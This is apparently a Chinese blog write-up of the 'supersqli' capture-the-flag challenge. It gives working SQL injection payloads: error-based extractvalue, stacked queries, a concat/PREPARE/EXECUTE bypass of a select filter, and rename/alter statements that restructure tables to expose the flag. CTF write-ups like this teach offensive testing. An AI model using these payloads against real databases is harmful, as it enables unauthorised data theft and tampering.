【攻防世界】十四、supersqli

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

步骤

先输入1'")提交之后发现报错:
在这里插入图片描述
根据报错信息我们可以发现是用单引号'来进行闭合的
接着使用1' --+发现被过滤:
在这里插入图片描述

然后使用注释1' #发现可以使用:
在这里插入图片描述
使用order by语句发现有两个字段,接下来再用联合查询1' and select 1,2 #发现被过滤了:
在这里插入图片描述
而且绕不过去,既然这样我们尝试一下报错注入:
payload:1' and extractvalue(1,concat('^',database(),'^'))#
在这里插入图片描述
成功拿到库名,但是拿到之后也没有其他方法继续拿数据,这里我们试一下堆叠注入是否可行:
payload:1';show databases;#
在这里插入图片描述
发现堆叠注入成功,爆出数据库名,那这就好办了
payload:1';use supersqli;show tables;#
在这里插入图片描述
成功得到表名,可以分别看一下两张表里都有什么:
payload:1';use supersqli;show columns from `1919810931114514`;#
在这里插入图片描述
payload:1';use supersqli;show columns from `words`;#
在这里插入图片描述
在表1919810931114514中发现flag,成功发现目标这时候就得考虑怎么拿到它,由于select函数被禁用,我们这时候只能想其他方法了

两种方法:

第一,使用concat函数进行SQL语句的拼接绕过关键字的检测,使用SET函数进行变量的赋值,使用PRERARE函数进行SQL语句的创建,EXECUTE函数执行SQL语句
payload:1';use supersqli;SET @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE sql1 from @sql;EXECUTE sql1;#
在这里插入图片描述
成功拿到flag~

第二,发现以上禁用的关键字里没有禁用rename以及alter,而且根据两张表里返回的数据可以发现words表里有两个字段:一个数字一个字符串,而默认查找返回的数据也是返回一个数据一个字符串。
在这里插入图片描述
很明显,能跟words表对应上,所以可以推断出默认查询的表也就是sql语句的编写中表是words表,输入的内容会带入id字段中进行查找

既然这样,我们可以改变表的结构,使用rename将表1919810931114514的名字命名为words,将他的字段flag命名为id,这样就默认查的是我们想要查询的表了
payload:1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
之后再使用1' or 1=1#另条件为真,即可得到flag~
在这里插入图片描述

总结

我们要打开思路,善于使用不同的方法来进行sql注入

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值